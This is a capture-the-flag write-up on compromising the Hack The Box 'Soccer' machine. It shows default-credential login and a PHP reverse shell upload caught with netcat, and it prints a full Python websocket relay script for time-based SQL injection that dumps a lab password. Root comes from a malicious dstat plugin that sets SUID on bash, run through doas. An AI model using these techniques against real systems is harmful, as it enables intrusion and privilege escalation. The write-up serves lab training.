It's called FOOTBALL ⚽
Enumeration
Open 10.129.89.147:22
Open 10.129.89.147:80
Open 10.129.89.147:9091
We have a couple ports of interest, we’ll start with 80. Trying to access 10.129.89.147:80 redirects us to soccer.htb, we can add this to /etc/hosts and try again:
Bruteforcing directories, we find one called /tiny
:
This is for h3k tiny file manager:
A quick google, we can find a default login on Github:
Foothold
After logging in, we can see we have access to a few files:
We can also upload files, we can try upload a php reverse shell from:
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
I initially ran into the issue of not being able to write to any of the folders but checking tiny/uploads
, I see we can upload our rev.php file without restriction. We can then navigate to our upload path and catch with a netcat listener:
http://soccer.htb/tiny/uploads/rev.php
User own
Checking for other sites, we find:
We can check the config for this and see it’s a public website:
Adding this to /etc/hosts, we see we can sign at:
http://soc-player.soccer.htb/signup
I decide to create an account and see what we can do. We get access to http://soc-player.soccer.htb/check
which allows us to check tickets:
We don’t have much further however checking the page source, we can see a local socket being created:
We can use a readily available script to exploit this:
# https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
We can then run the script and see our new middleware server running:
Finally, we can attack this middleware server for any potential SQLi vulns:
This is time based SQLi so dumping the requires data takes a while, I’ll save you the time:
+------+-------------------+----------+----------------------+
| id | email | username | password |
+------+-------------------+----------+----------------------+
| 1324 | player@player.htb | player | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+
We can then SSH in and grab our user flag with these details
Root own
We have one entry in our doas.conf
file:
permit nopass player as root cmd /usr/bin/dstat
dstat is a system resource monitor tool that supports custom plugins written in python. We can try exploit this by writing a plugin and placing this in
:/usr/local/share/dstat/
import os
os.system('chmod +s /bin/bash')
We then save this into:
/usr/local/share/dstat/dstat_pwned.py
Then run dstat:
doas -u root /usr/bin/dstat --pwned
After doing so, we run bash -p
and get root